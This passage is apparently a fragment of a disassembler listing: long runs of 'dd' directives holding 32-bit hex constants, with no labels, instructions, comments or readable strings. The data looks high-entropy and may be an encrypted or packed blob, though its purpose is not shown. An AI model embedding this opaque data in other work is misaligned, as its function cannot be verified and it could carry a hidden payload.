		dd 950B8C17h, 550F8D10h, 51B2C703h, 2DEDFB09h, 0EA4011Ah
		dd 7BD4C83Eh, 0BEECC444h, 45D9E4F5h, 0E9BB00ECh, 0F9286EDh
		dd 8425CA09h, 29DECDCBh, 0F51BF872h, 24BEDB96h,	4E0FADC7h
		dd 0C3C3F0DAh, 0C35D66CBh
		dd 89DAD095h, 8B19123Ah, 4223E415h, 0B87C8085h,	0FFDB9B54h
		dd 48B5DE93h, 182FD9F8h, 9CFA9942h, 0B81120FCh,	0A5CCECF5h
		dd 0DD5E4CC9h, 3DE08E4Eh, 48CC3CCDh, 40311A77h,	0E307CB5h
		dd 0D017E792h, 34EF9915h, 828EB8DAh, 0BE02B3Eh,	0B5C66DE1h
		dd 0D4CB18AFh, 2DDFE8C5h, 8DC42F4Eh, 0CF93F178h, 7B6A4362h
		dd 861C6628h, 8894AB10h, 243E3878h, 0ED26CC4Eh,	3835D98Fh
		dd 0C80A4E5Bh, 0CA1C7A83h, 0CBF8BD5Ch, 4679822Ch, 0B17AA31Fh
		dd 0FA9F6269h, 69ECF483h, 0DCD29C20h, 1DEA42F9h, 8E9BC1F7h
		dd 279731Dh, 33A806D7h,	0FB31519Ch, 505AAB1Dh, 757AD021h
		dd 6F4F8635h, 0B85CAB28h, 0AC4199ACh, 0C5847CDAh, 356DA643h
		dd 0E9F30C7Eh, 1B70447Fh, 862AAE2h, 83533B0Ah, 0AE5D2F5Ch
		dd 85C68A5Ch, 7EA447A9h, 8526D408h, 0EFAE521Dh,	0B8C66BAFh
		dd 0CDE77876h, 0B5EF6A97h, 0F02DC100h, 85FAE909h, 3FE83842h
		dd 0E419D79Eh, 86A5E256h, 835E8ED5h, 0A1D02E88h, 20031F97h
		dd 0CFDAC40Dh, 0F118DFCBh, 0DD9B0DF8h, 7BD65D5h, 25C74C9Dh
		dd 0BD411C2Ch, 26809D26h, 0D6D160F3h, 71CFB12Eh, 858477F2h
		dd 0C59C8728h, 49DB0272h, 0D29FA6CEh, 661FB0C2h, 0BA58041h
		dd 0F5FC028Fh, 0C4CADEE1h, 75BA02C4h, 0EBF8DC4Ah, 0CF4AA9D2h
		dd 820B6869h, 81A5D08Dh, 0FBD0CCDCh, 0FE6C1897h, 0DCD2E50Fh
		dd 0C009B92Fh, 2012D0CBh, 0B001478Ah, 7193E4D3h, 0D47ED012h
		dd 2E0ADFA2h, 0A6810C33h, 850D90C2h, 0FF8F44EEh, 0D94F043Eh
		dd 917F914h, 0C3D40D82h, 109881F9h, 0D70BAA8h, 0D7DE5D2Ch
		dd 1DBEC309h, 4CA45335h, 664D8C37h, 4AC0B028h, 0C3E1A702h
		dd 8338BF34h, 8E53AF24h, 31171EB0h, 7661A5F8h, 0EDA9FC87h
		dd 0E6902169h, 157DA0C9h, 0BCBAE8AAh, 0EDC27D4Eh, 87978B5Ch
		dd 22912020h, 22028214h, 7132B690h, 30984A03h, 0BF58D0E4h
		dd 0D262EDBh, 1012C2Ah,	90BE1AF8h, 0CE77E541h, 58496592h
		dd 6605DDECh, 0F1EF9E37h, 4253E6AFh, 0C5FB2704h, 11E7F431h
		dd 0B6E320ADh, 0EC32D908h, 9326A50Dh, 692C944Bh, 3CD3D136h
		dd 839E8076h, 0E38E60F5h, 866075Bh, 7CF4AA76h, 0AA0EAF58h
		dd 8C2C293h, 432ED183h,	0EDC97138h, 3FE2A7DDh, 580750CAh
		dd 0BB7F5124h, 0CB10C5ABh, 2277918Dh, 51E0B91Fh, 0EA5D27E1h
		dd 0F076E0EDh, 566053DEh, 0ED66F0C9h, 0BB58C5F9h, 4995702Ah
		dd 273FD175h, 392EB579h, 43AB1B2Eh, 561842FDh, 0D7201E7Fh
		dd 33A6B5CEh, 21D19E8Dh, 0EE855C15h, 4C943B53h,	8CBF1782h
		dd 1C3B115Ch, 148FE568h, 0C759192Ch, 869D3143h,	5E9476A2h
		dd 161F027Bh, 104AC7F9h, 0AE824CE7h, 4DEC9C0Dh,	2C1E5655h
		dd 951FC4D4h, 17BD7B9Fh, 89CCC3EBh, 0DD3B717Dh,	258BA935h
		dd 0E105650Fh, 51EFD5F9h, 0CFF7ED1Dh, 0BB96B89Dh, 0C5E85099h
		dd 0F3A7DCF2h, 0A3644296h, 62E66EF4h, 0C4D9AFC8h, 809CB4E9h
		dd 0E0C79C2Eh, 1A4B00E8h, 3AEE5B6Dh, 0F2C1556Ch, 0E287C09Eh
		dd 84F3E796h, 3CE1A559h, 2E15209Ah, 0EE3EFFB9h,	4D72DD30h
		dd 47787679h, 9B248C16h, 933EDE66h, 39AD36C6h, 4979A2D7h
		dd 0CFB2E8C9h, 0BFE8AED5h, 0B27A453h, 1EFB1E3h,	0ED743075h
		dd 0FB006D54h, 28BF561Dh, 0B0E81D96h, 9957BD2Bh, 45EDC055h
		dd 500E9909h, 0A4E7C0A8h, 1405271Eh, 5EF08AFAh,	0FC75303Fh
		dd 0B337F7FFh, 0E1C326ECh, 581F3921h, 0B5FE2B30h, 0BF127471h
		dd 0B33279BAh, 0B30E6D34h, 32222530h, 38228ACFh, 7A177DDAh
		dd 74ACD8BFh, 68E7F802h, 524C5EB1h, 0C5622DCDh,	0CE0A0C6Fh
		dd 664C399Fh, 592E4FE9h, 85ECAA30h, 9CA3E11h, 7D1C8375h
		dd 57EEC637h, 49BCEB0Dh, 152ED95Fh, 392D20B7h, 0B94005ADh
		dd 92E7C0F4h, 4FECA64Dh, 2CB1041Eh, 6A2CB245h, 0AC035E1Ch
		dd 0A9F60C21h, 9926C44Ah, 0EDFA175h, 8DDD18CDh,	0C59EE50Ah
		dd 0FA1A982Dh, 122A1A52h, 1552030Eh, 0BE5A3E49h, 0A5B253E1h
		dd 6BC32055h, 0B12D4475h, 4D3FD27Eh, 0CFB09F28h, 2F2984Ah
		dd 6370E31Fh, 8779795Bh, 5113542h, 82F6FFDDh, 0C6CDF0AEh
		dd 44264039h, 34E1834Eh, 57A9E094h, 0FA504C4Eh,	7657B81Eh
		dd 3E1204Dh, 33F57111h,	51D5F1BEh, 822EFFC8h, 953C674Bh
		dd 4410E11h, 378DC545h,	0A48EF123h, 0CC2F949Dh,	0AA481A56h
		dd 0E7193D8Ch, 0C3D9980Ah, 8A4CD007h, 0E9E57EC1h, 6E47FB94h
		dd 1B464C3Dh, 0FDE5A10Bh, 0E11418Bh, 0F2BEC237h, 0AC5CE724h
		dd 7E1F5D99h, 1F1059FFh, 0B2BB1C9h, 0A643C045h,	3888A26Dh
		dd 491D9FADh, 4FA58166h, 4B294329h, 53D2E92Fh, 616469F7h
		dd 0A9B73030h, 34EE2436h, 0C0DB3E17h, 79D31CCCh, 1E5551F9h
		dd 0BEA5D320h, 97C9391Dh, 0C21CE9DAh, 2DB924B2h, 0D136E41Bh
		dd 1E3EFA65h, 4103255Ah, 0CDC2CF14h, 0F9360936h, 9AD91B08h
		dd 0BE9FD25Dh, 0F847C375h, 7FE874E2h, 0F8A8A706h, 744D9480h
		dd 6220CC5Ch, 0C1D1467Dh, 0BE459BDBh, 0E6F68CC0h, 0B8F3B8F8h
		dd 0C5F4E790h, 0D1AADB4Ah, 0A0FF38DEh, 0D8496500h, 0E45DFCFCh
		dd 6A5DDA90h, 0C406B575h, 77ECB61Ch, 4690A5C7h,	847A9B11h
		dd 0D03AAFDh, 4C9BCC82h, 0C329B6B5h, 0FE82431Ah, 10ECBC1Dh
		dd 52BBC9E8h, 2389C059h, 415C742Ch, 569118F3h, 67089396h
		dd 0DC342E35h, 9DB173CBh, 0B5CC1A94h, 0EC4AD8D2h, 63215319h
		dd 1334991Ah, 2242E13Dh, 0DEAF70D4h, 71119F1Dh,	5515C939h
		dd 0FBCC25C6h, 64E81736h, 367CE033h, 63392866h,	0B9A43625h
		dd 0F47AAEF3h, 0CA22E337h, 0E8F60BDDh, 29F3E1F9h, 0B9B73735h
		dd 584CF81Dh, 15A4F6E1h, 8463C5DAh, 0F853E7D8h,	0B5D31D55h
		dd 0D44AD612h, 839F6C12h, 1F20E96h, 2AAB34Bh, 0B31837A6h
		dd 0AC3CAC5Dh, 9B27AB09h, 4401397Bh, 4DE04912h,	0C4337B11h
		dd 98E0480Fh, 71A9F2D1h, 35831F00h, 3B568079h, 859D16E6h
		dd 0D4DA4CB3h, 8583FF9Ah, 0BEC6CF94h, 4F8F93BBh, 0CCE9077h
		dd 3BA9EBF2h, 7ED7DB12h, 0DE6F1983h, 5AC995E7h,	9628167Dh
		dd 9DDD3F2Fh, 6ECF4221h, 0E76A6E0Ah, 0A8C35D8Bh, 283D514Ah
		dd 0C607A438h, 0C69E9EE6h, 2CEC56D7h, 57FE959Ah, 29549F11h
		dd 0A7CD1F8Fh, 0E1BABFDEh, 0B7DD512Dh, 0FE2EFF23h, 0C8E3A371h
		dd 0E1D91B4Eh, 92CD1159h, 35148B9Eh, 9E626D78h,	81EBA46Dh
		dd 0ED80F9DFh, 0C1550F12h, 85FE1E2Fh, 288C11Dh,	19ACBE89h
		dd 8662E611h, 2D282A29h, 43BEF0F1h, 0B2E636CBh,	76795421h
		dd 0EFF46043h, 2182AAEDh, 16249434h, 4B5DB4E9h,	2653ED06h
		dd 36C33D8Fh, 0C9061B08h, 52345C60h, 5FD0CC4Dh,	0B7B9D606h
		dd 8617F641h, 0C3EE5124h, 0DA386A7Bh, 0FEA05116h, 0F97EF0A4h
		dd 0AB18EB6h, 463EC468h, 10A14F58h, 0C192D810h,	0FBD8EAB3h
		dd 996619B7h, 764892FBh, 0AC0A82AFh, 48A53B60h,	59EBF2F8h
		dd 2DB78FA1h, 4AAEA8EDh, 863FE8CAh, 0AEB3A037h,	9662A02Dh
		dd 3D9A9045h, 628028B9h, 4D3C983Bh, 9D23B9E4h, 0F3792C75h
		dd 0D6CB7DB6h, 0DEE7F699h, 0CB62858Fh, 0BE771E36h, 56F4E0DDh
		dd 0BE38D819h, 0BD4C91BEh, 0F499F4D8h, 0ECF18F18h, 520E7A40h
		dd 0A725ABB2h, 0C6BED80Eh, 0C1C4C81Ah, 0FA83642Bh, 0ED28BA9Fh
		dd 0FA3567DEh, 0C3AAFF55h, 0FA2A5594h, 2E5AB1B3h, 0CCF9DA64h
		dd 0B15E9296h, 0CCB07086h, 0A750D391h, 0BDCEB1F8h, 0BEE163DCh
		dd 6093D8ABh, 0B878E0CDh, 0D6E88D81h, 85DE1E7Ch, 957DE0Ah
		dd 99A7666Bh, 1D963437h, 1857BD7h, 0BBBE829Dh, 0BBE0EEA9h
		dd 0EC2EC818h, 0F4C6DB2Bh
		dd 0E6BFE779h, 0B60B91F4h, 783C7E7Fh, 73E91D1Bh, 1DB19C6Dh
		dd 1EECCFADh, 2B384C4Fh, 8201AC14h, 0BE2B8F34h,	0C15B24E2h
		dd 3D917414h, 5E211DCh,	0E720A650h, 3CE41CDFh, 0EC81BB58h
		dd 0CE3A45CDh, 5D9EB7B4h, 0A75B67C4h, 0BA2C2645h, 0E6AF3894h
		dd 0CE1B3C32h, 7C456035h, 4C256AAEh, 4AF97D9Dh,	74F2B414h
		dd 0E6577E5Fh, 0F2B3B90Ch, 2DE1E7DBh, 0A5C6E406h, 0F428FC97h
		dd 42BE4F37h, 572F5308h, 758EE93Bh, 0C62BFBE0h,	3151C7F2h
		dd 0E348E004h, 0F3A0BC05h, 862EB53Ch, 0EC8824F1h, 0D5BF7D0Fh
		dd 0D5D92D42h, 0D70FFCDAh, 19F6FC0Eh, 0F8058C2Bh, 0B406000h
		dd 0F0CEAC2Fh, 3D236690h, 8391871Ah, 83C8EEF8h,	0F7E051E4h
		dd 0B29B9EE0h, 0A97ACE94h, 808DF0F7h, 0E84A6CD3h, 4062E455h
		dd 8222BDF3h, 9770ABDAh, 552A47D8h, 0FBCD3857h,	0B9B49CF4h
		dd 9D90D517h, 8B71DC76h, 8FE08311h, 0F010F671h,	0FC62F3BFh
		dd 0A1A7FDA1h, 9637DB1Ah, 5FF08D15h, 0C626CFDBh, 0ED40AC09h
		dd 299F877Eh, 0E43160BCh, 55FAFACAh, 0F691B713h, 43305F25h
		dd 410C5110h, 85357D2Dh, 0C9318ACh, 0FDC2D281h,	842D5535h
		dd 0F7E8EF38h, 49217925h, 0F46F7FC1h, 0C3398650h, 26327876h
		dd 7DF8AF64h, 9BFE933h,	0C34B039Fh, 5231121Ah, 7EA19D12h
		dd 6A5BD7A8h, 964D99B5h, 0DB0DC5A5h, 9EBBB909h,	0F93AA8BBh
		dd 9D5D2432h, 5A13E204h, 39653930h, 0EC2EFC8Ah,	0AD260E15h
		dd 888E2C63h, 7CF4FF1Eh, 594CA6A2h, 66D5AE7Eh, 1517BF98h
		dd 9DADC083h, 0C19AA580h, 18678B76h, 0C946651Dh, 0E297E0ACh
		dd 7879FBCBh, 0EEFEA16h, 72CA990Ah, 91599744h, 49B6A8FDh
		dd 0A5AA2C1h, 9F1816CFh, 859D1825h, 90D5B840h, 865EAF25h
		dd 6EB7191Dh, 0C2A8CF02h, 0F837F294h, 3E3EB8CBh, 0EFC465C4h
		dd 0EE2978EDh, 7727EB94h, 0B1B5D09h, 0F209A269h, 16093CD5h
		dd 0A523F4FFh, 9513E855h, 0E359B953h, 6DA5D82Dh, 22E6AFC3h
		dd 0A3C8E32h, 0ED90D18Eh, 22884115h, 1B4C7411h,	0EA38192Bh
		dd 2B7586E7h, 2B334E25h, 589C2070h, 0D3B65410h,	97EF7778h
		dd 7038C734h, 0D017040Dh, 36CAC134h, 4F2E41D2h,	0D54CD3DFh
		dd 0F5469D7Dh, 0EE214D44h, 5E9BAA27h, 8310171Fh, 0CF4CD87Dh
		dd 0EF80B398h, 0C9902FD8h, 4C247B75h, 91E5A66Bh, 4F31C514h
		dd 0ED1F246Ch, 0CBC5AD3Bh, 0CBFD38DAh, 0EB4687E8h, 0E9506A2Dh
		dd 5D9DFDAh, 0F5BBD175h, 0F4939469h, 96E1E8BEh,	9626EEEFh
		dd 7F1FE1F1h, 0D0E2C1D8h, 34676837h, 0E5A17731h, 0CE30388Eh
		dd 526B66E9h, 4382E13Fh, 0DAB9F9F8h, 0C19B1539h, 882794A3h
		dd 47F40317h, 233D9FE9h, 0E7CB7CC4h, 0EBCA583Eh, 14AEC35Eh
		dd 7F7A8755h, 0D791ED1h, 6CDBB911h, 0E827D840h,	3679915Dh
		dd 0EE1633E4h, 0B0F66AF8h, 0C8D9ED76h, 0C92E9314h, 432FC459h
		dd 4CDDD114h, 37D71DE5h, 32FB2735h, 0EF3CE0CEh,	9330DD90h
		dd 41998776h, 9D902FCCh, 0D715E8D8h, 0BDCDD20Fh, 23633DE4h
		dd 292D7F1Dh, 0E5767CAFh, 0C3D9B392h, 41CB089h,	0BA9AC613h
		dd 12EB9C9Fh, 18684B37h, 94C60363h, 27F01F86h, 0DBE2E95Fh
		dd 0D4D9F6EDh, 57E228D4h, 55C360F8h, 66C3384Ch,	6D216ED0h
		dd 99D86194h, 0D9E5C3D0h, 0FBECE6A6h, 0C95B5C29h, 775F67F6h
		dd 0BD508623h, 0F8BD2A2Dh, 95D522A8h, 0FAB0A0D1h, 4339E3F7h
		dd 15F6A6D7h, 94157AD8h, 0F373EC75h, 432B78Bh, 0F23B3B81h
		dd 0EB890BC9h, 0D93805AFh, 0D25C9929h, 0C99E67F8h, 535EC9Bh
		dd 0E8592E1Ch, 0CDE4DE5Ch, 5999AE55h, 9EEACDE3h, 0B75248C1h
		dd 67AACC01h, 75ABB771h, 0DD42E19Ah, 0B7F9FDA3h, 0E84678E2h
		dd 7AF5DFF0h, 0B72BEEF0h, 57AE1DC6h, 0C56F6351h, 0D7525C8Ch
		dd 0E9E2F901h, 48478D1Ah, 823B84A5h, 87E75AB8h,	0C120F2CBh
		dd 39980F18h, 0E64AAF04h, 8438FAEBh, 0C0E7BEC3h, 20370584h
		dd 0FE08BF9Eh, 439A95D5h, 28CD432Ah, 0BEE36F24h, 0FA23480Fh
		dd 311DF374h, 0B30569B5h, 0FBEFAE36h, 62F2524Dh, 0B1AD00D4h
		dd 4D2C7C2h, 16D5FCDCh,	8C11E5E7h, 0CD6A3866h, 6279CD37h
		dd 0D3A2CB71h, 0C1F8F90Fh, 326DDC94h, 1BCB8766h, 0A9E18A21h
		dd 0F4E394ABh, 9AD80388h, 0CC2A554h, 5A5A1CDEh,	2A1C6632h
		dd 5D44F87Ah, 41110704h, 0F532DA87h, 1F22D87Dh,	0F543AC49h
		dd 58D65839h, 0B40238C5h, 573AA056h, 0A954C0B6h, 0BB321CB0h
		dd 6CF93C8Dh, 0EA12A926h, 0ADF0A13Bh, 39D29B28h, 0A24AB7A1h
		dd 0C08147DFh, 0F4CECA09h, 282CD957h, 0AB4DCC80h, 86188D18h
		dd 0C060A79Ch, 0AF94E515h, 0BF02B56h, 0D87A14E0h, 0C2E5596Bh
		dd 7308BF18h, 63C0EF09h, 0E07535D5h, 78436CDEh,	38C97934h
		dd 0EFC4CFD4h, 0F3C5C6E4h, 0FD0F0E72h, 0E5BC19C9h, 0AF259F22h
		dd 4B8D32DDh, 0CB363D32h, 5F5E178Eh, 40791234h,	5DABED71h
		dd 561A9460h, 0C59AE44Fh, 5B403C77h, 95BDC174h,	4325A20Fh
		dd 8EA33D1h, 4465E755h,	2DB2DE58h, 0BB8EB1ACh, 0FAA43922h
		dd 44EE13EEh, 0B5F49701h, 0BF588BB8h, 8BEF5AA1h, 0F9FF912Dh
		dd 79587175h, 95953541h, 0CD92FF81h, 8D95DA74h,	0EBE70418h
		dd 6237A094h, 17D3A3A9h, 4A5FE13Eh, 7F39184Dh, 86FEE376h
		dd 0CB4C0F90h, 0EC025A78h, 38822A9Dh, 5D7EF56Dh, 17BEDABFh
		dd 9EAD5219h, 1D418649h, 0BE2B0B3Dh, 2E76E90h, 0D724E547h
		dd 0D4A51C5Ah, 4AEFBFDEh, 0D89169C3h, 0CD40B9B2h, 0DECEF23Ch
		dd 5D14F6D4h, 6512A2FBh, 5B2C152Eh, 61418AC1h, 0F9FFD708h
		dd 51D34FE6h, 0C35B212Eh, 0FFD9AD05h, 7ABDA6Bh,	763594E3h
		dd 7DA51E81h, 4AEF0540h, 0D72D30DAh, 2683425Eh,	1E50E6E0h
		dd 0CB8867E6h, 0B05CE7B1h, 4F11AE74h, 0E24B9712h, 0B9D691D1h
		dd 0FBE09418h, 1827E075h, 0F540A5C3h, 97D9B6B6h, 0FF179D29h
		dd 0EF208B4Ch, 77322297h, 0F990F21Ch, 216A5D0Bh, 0C56729F6h
		dd 0C5F7936Fh, 749D7E17h, 8F42A1B0h, 108DDBACh,	947AE79Dh
		dd 0BFB0A827h, 0A3EBB91Bh, 0DCAD2D37h, 8313FECAh, 0E580766Ch
		dd 971B5A13h, 0BBCA34BEh, 0E63F1A2Dh, 6F51CD15h, 0CF991A65h
		dd 92AB0C29h, 0A8C5C8D1h, 0CF744145h, 0FAE6DC7h, 11F17EA9h
		dd 2A8077DBh, 5E68CB96h, 0D4E57FDAh, 0C4D7F2F9h, 6B3AE820h
		dd 0CA864C1Fh, 646E7C21h, 0EB86EC84h, 0BEAE89CDh, 0FD843CFDh
		dd 598BF02Fh, 624F1ABDh, 95B637ACh, 52109812h, 0FE35EB67h
		dd 719FB235h, 0D71B14FDh, 262B0268h, 0EE332776h, 161F2DB3h
		dd 81577375h, 0FCCEF98Ch, 5900A6E9h, 0C20AE327h, 5A26E53Ah
		dd 815F5212h, 1D5AA176h, 8BE729EBh, 84A67A90h, 8DAEABF7h
		dd 2CDC3FB8h, 0A9C1B3EDh, 210594D4h, 0DF3C239h,	583DB29Dh
		dd 0F95E4857h, 4A3BA508h, 0A200679Eh, 52167E70h, 0CCA6DE97h
		dd 0ECC5A916h, 66BA1D45h, 51043AFDh, 59F33F27h,	0DED9ADBDh
		dd 87271801h, 3DC96908h, 68550A2Ch, 0B8D0D0EBh,	31FAC5FAh
		dd 756EA60Eh, 814BA7F8h, 0FE61A28Dh, 63C1393Eh,	0F63BC0D5h
		dd 0F21BA0D0h, 0C732AF55h, 6C6DF055h, 0D762FB6Dh, 3DCFA3h
		dd 51F5D0D3h, 0FB283F8Fh, 7B91B436h, 0CBE50010h, 0B82AF926h
		dd 8506B7F7h, 0E3218B7Ch, 89951E5Fh, 7F9C0E52h,	83F3F506h
		dd 0CF9B8921h, 2A7C1D79h, 96465DE3h, 975C71C6h,	6BEB2282h
		dd 1D3F9B42h, 3C2BA2CFh, 2DD09B74h, 88F41F1Ch, 10ECF36Dh
		dd 2264016h, 59B6ECBFh,	567B7D5h, 0F2E1AA18h, 0ED2CE136h
		dd 308393BDh, 44F6811Fh, 5DEE18Ah, 719D8E14h, 4BAFFD4Bh
		dd 41253BECh, 0C42DE7ABh
		dd 9C9D65D9h, 52B44212h, 9503D6E8h, 80CD88D5h, 4D2863EFh
		dd 3A5B323Ah, 0B9E4A578h, 2005F831h, 0B95E534Fh, 0E1311629h
		dd 0D3834C9h, 0F5D4EC4Dh, 1EE1E4E5h, 768962A1h,	0CF2B9837h
		dd 0C594D919h, 0F911C787h, 19AC3935h, 0C62CAD1Fh, 895BB34Ah
		dd 0A63CBAA9h, 3309EB90h, 0DFAB3062h, 415944ADh, 5F9CD595h
		dd 0A54CC07Fh, 0D4E31C83h, 118C4057h, 0EF4D11ADh, 5C6D2C4Dh
		dd 0C159CC45h, 79A3F354h, 4AD0945Fh, 0D6F21E07h, 837BAF94h
		dd 0D2116089h, 0C01C9B19h, 8CB3E4E2h, 14BDE681h, 3B710F74h
		dd 6A05F081h, 0EE9579FBh, 0C40873AFh, 0D154CF0Dh, 59815742h
		dd 9FC898C6h, 0BB568A9Ah, 0F30444E3h, 6D4EA6D0h, 0C080A524h
		dd 0B34D2E75h, 3469ECB2h, 6DC9B730h, 0A27AC824h, 6B48C743h
		dd 6CEDD9Ah, 87D004B6h,	0E49E742Eh, 1A48FF59h, 8A1288E3h
		dd 0B393CA8Ch, 0B6D87A29h, 4EE5F02Eh, 79DAE013h, 7B08C86Bh
		dd 5565A79Ah, 0FBB5D486h, 0D6F8FCFDh, 2E1ECB9h,	0EFE41FBFh
		dd 0BCBF59FDh, 75B300E5h, 0F4EDB581h, 0EB45CE1Dh, 0D4DAE13Dh
		dd 0E06E92AEh, 295C75ECh, 86510D43h, 0B11EB33Dh, 9BEBD8DEh
		dd 0E0CFE6Fh, 2DDCD5FFh, 8CFB0DA1h, 0B33BC9E2h,	9D841ADFh
		dd 4F7AD415h, 0D390AD7Eh, 4E3BDB19h, 95F39B13h,	9DD86FE6h
		dd 0ED08FE40h, 9BBDCE2h, 10F7710Ch, 0E92D7C1Bh,	0BEE12A6Dh
		dd 0D4E5391Eh, 663EC94h, 0A871711h, 0A4CED8C6h,	0B1AF1A86h
		dd 7107F898h, 1A6AED1Ah, 9495A2DAh, 259638C8h, 0F78C9501h
		dd 0F9CDAB14h, 0F3608161h, 0E471ED3Fh, 0E89CEB81h, 38C0C57Dh
		dd 0BC3AC815h, 0BF3DF30h, 0A742BF75h, 10F84BE2h, 0F973B411h
		dd 0D23FCCF8h, 2D361A77h, 4515124Bh, 0DBFCA0F1h, 2EEE9A8Bh
		dd 1FAE6530h, 4B2E11ADh, 67655C71h, 57A42AFFh, 7636BCE3h
		dd 8AA8F7BBh, 985A52ACh, 33F167EEh, 1A26B293h, 15AE18E2h
		dd 1E5EA26Dh, 0F274108Eh, 0F5919FCEh, 2DA919ACh, 59700A14h
		dd 155AD04Ah, 0B993EE77h, 0CFD86D3Ch, 0CA705F6Dh, 5F90EE54h
		dd 2906732Bh, 248C5C5Ah, 65B79705h, 9850A217h, 7C944C9Eh
		dd 0A14E638h, 7C20BC06h, 3EF3FB59h, 0E36C99C9h,	0BAB95057h
		dd 0BF77CE09h, 2A835DC6h, 0E402D3F0h, 59DCEC7Eh, 59EBB03Ch
		dd 9181CBF8h, 0BF716A67h, 0A7AEE23h, 9C9FF87Dh,	75E208CAh
		dd 0FCAC31B2h, 0A01C814h, 0B0EE778h, 0DB626ED5h, 992271CFh
		dd 81CFB314h, 51EAC0ABh, 72A17425h, 0BBA8035Eh,	47EBE8DDh
		dd 0FF97A595h, 78C9EC98h, 98BC2C72h, 0C5AEA5ADh, 0C495977Dh
		dd 3DF08D7Eh, 0EC3BE62Dh, 0D0ACDA04h, 7B3D2FECh, 7E1348E5h
		dd 179B6B5Bh, 0CD07DF5Ah, 7A43DDFAh, 2E3F443Dh,	0C043D8BBh
		dd 0F14BC4ACh, 95655F9h, 5906F81Dh, 1E117968h, 0D145FF06h
		dd 1E029BE1h, 69D50C2Ch, 95809F95h, 8C84AC63h, 0B7D680F9h
		dd 0E1C522DAh, 0F0B5E23Dh, 0CC4D8A4h, 807AEA61h, 36EBE753h
		dd 0FC908581h, 8DFC41FBh, 97241897h, 0DF5BE1CFh, 0FB488E74h
		dd 461EA4DAh, 0D08CA47Ch, 0C161A65h, 27CD391Fh,	1CFD46ABh
		dd 0E61CB011h, 0B63C66F0h, 8B1C21DEh, 63373F6Fh, 0A7A7B500h
		dd 515E4B25h, 94E85B98h, 0CD55050Ah, 41498A37h,	0B4609C1h
		dd 0FB22FBE3h, 59E7BF8Fh, 1954D413h, 258F4528h,	0DFE1FB02h
		dd 267ADF46h, 8D70C97Bh, 0B3CC25CBh, 123F6Ch, 4D5D6EADh
		dd 0AE5D03B7h, 82A47931h, 3FF2B902h, 8659F611h,	5D5E44AEh
		dd 3C92D974h, 0A4CC779Ch, 0F2E1FD8h, 625D108h, 27ADD11Fh
		dd 0FF3F20F5h, 0BFA71FCDh, 7485204Bh, 0B3A540E2h, 7CAF69CAh
		dd 22A5480Fh, 20328CC5h, 2E013985h, 763B5D27h, 0C0A71B7Ch
		dd 0D0FF226h, 31D4871Ch, 0F8F4386Ah, 0CDAFD012h, 408419CDh
		dd 764C0097h, 0D202D8EDh, 0E4207088h, 0E2470449h, 1E4599FDh
		dd 65413737h, 83FAAADCh, 0F8D0628Dh, 83D254ACh,	80CEB379h
		dd 0F036472Fh, 2821EB90h, 83F20269h, 0C3CE00A1h, 9430E8CCh
		dd 154B32F8h, 0BBA56787h, 35DFEE46h, 0D14AEF16h, 6DF6126Dh
		dd 4B4C60C5h, 510A9016h, 0CACC592Fh, 7FC5E08h, 3CE7F0F6h
		dd 0AD551FFCh, 953ECDB9h, 0C429CE1Ah, 63B50339h, 0ADE2E91Fh
		dd 0EB7AC345h, 3D80EEB1h, 0D929AEF6h, 0FDFAC98Fh, 90288014h
		dd 9FD92AB2h, 71D1600Ah, 4DF2E02Eh, 69CEB8CDh, 50F2FCF7h
		dd 61DEE208h, 19EC63E2h, 0D42E67B0h, 8F40D8CFh,	19B99F55h
		dd 752C553Ah, 0E19AF445h, 0E73448DCh, 0E904DBC0h, 0FDAD4C4Bh
		dd 0BA7FA9D2h, 0CDC2E0FBh, 0DF896ADDh, 58F21EE3h, 5BCEB17Dh
		dd 3C1ABC5Ch, 1D9C43CDh, 26603FDBh, 9DAC135Ch, 0DFF78DCEh
		dd 74C313ADh, 0B01FC88Dh, 0F0164DBCh, 23012A69h, 4755BDE0h
		dd 0AE568B94h, 0B8FF0CD0h, 199F5705h, 43FF6533h, 806C99Bh
		dd 4B271F9Ch, 4BE8D44Bh, 9EE2631h, 59569396h, 0CB528767h
		dd 0D6E008D0h, 0D4EAC32h, 712ED959h, 90254B4Ch,	0F124D8Ah
		dd 0CAAA1153h, 142E895Eh, 0FC55B882h, 162AD875h, 780F7A9Fh
		dd 0BEBCC077h, 2D3DA275h, 0ADFD8D01h, 2563AF20h, 62F6B15Fh
		dd 14265E9h, 33519BBBh,	40FB8CDBh, 0CCC3C4FEh, 0CCFAE593h
		dd 0C20BDD4Ah, 5C6FC208h, 0BB28F86Bh, 0C1BA0F52h, 433D90C9h
		dd 70E72C7Eh, 2DBD9EDEh, 0DEEB0FF3h, 7CD0ACC9h,	0F1CEC56Dh
		dd 3B87B1C8h, 0BD982AF7h, 0DE621039h, 0E02CF833h, 0D84C95D4h
		dd 2D590427h, 92D4FC2Fh, 5684F4B8h, 66842EDDh, 0DF2E871Fh
		dd 0BA562E49h, 7B1B0782h, 0A1852EB2h, 0AC04294h, 0C9C3678Ch
		dd 4F04B190h, 0F964D70Ah, 1AE77537h, 24286691h,	193FFE26h
		dd 92BD8746h, 0CF1A0D51h, 8FD9AE11h, 0A4CBCA1Dh, 5F7D8E75h
		dd 0B545FBB0h, 10D16397h, 126C19Ch, 1D59DCB8h, 5720A666h
		dd 7EF45F6Dh, 0B3F2EB58h, 0F7F233FDh, 0FECDBA2Ch, 52F2F986h
		dd 0EE1ABCCEh, 0B4590F27h, 58B9352h, 0AB3359B4h, 7CA84DD9h
		dd 3EB79Ah, 35916AC0h, 57A7DAF8h, 0F392A79Ah, 83C1AF3Dh
		dd 0C0D78E68h, 0ED0F25F9h, 0CC9250Bh, 236FE46Bh, 0D9D9AB12h
		dd 537AE3C9h, 0C5681769h, 0E2EDE3ACh, 94B9E0E8h, 0F6048571h
		dd 6B97AD95h, 41F6A268h, 3D94162Ch, 1C472D75h, 1C5AFD37h
		dd 0DFD31FDFh, 0E9A094CAh, 0B501A2Eh, 9A197B3Eh, 0AB7B8B6Bh
		dd 0D47A9A20h, 0B52BCC86h, 8F7A86E3h, 0F409473h, 1888D44Ah
		dd 0CEC2E0F0h, 64557B69h, 0F17E1727h, 0E34FA2F8h, 8C7D6CFDh
		dd 0E5FD17BDh, 16EF3EDCh, 629BAB4Eh, 2622CAADh,	0C5164012h
		dd 0B3556394h, 36CE8E4h, 0C5FC09B0h, 0B556ABE7h, 0FAC8B3D4h
		dd 84E7ADBDh, 425749F8h, 0B131C35Fh, 1A998FA8h,	0DE90D150h
		dd 3561D009h, 464509F8h, 4CF35A8Ch, 0B0338417h,	0EE7AF407h
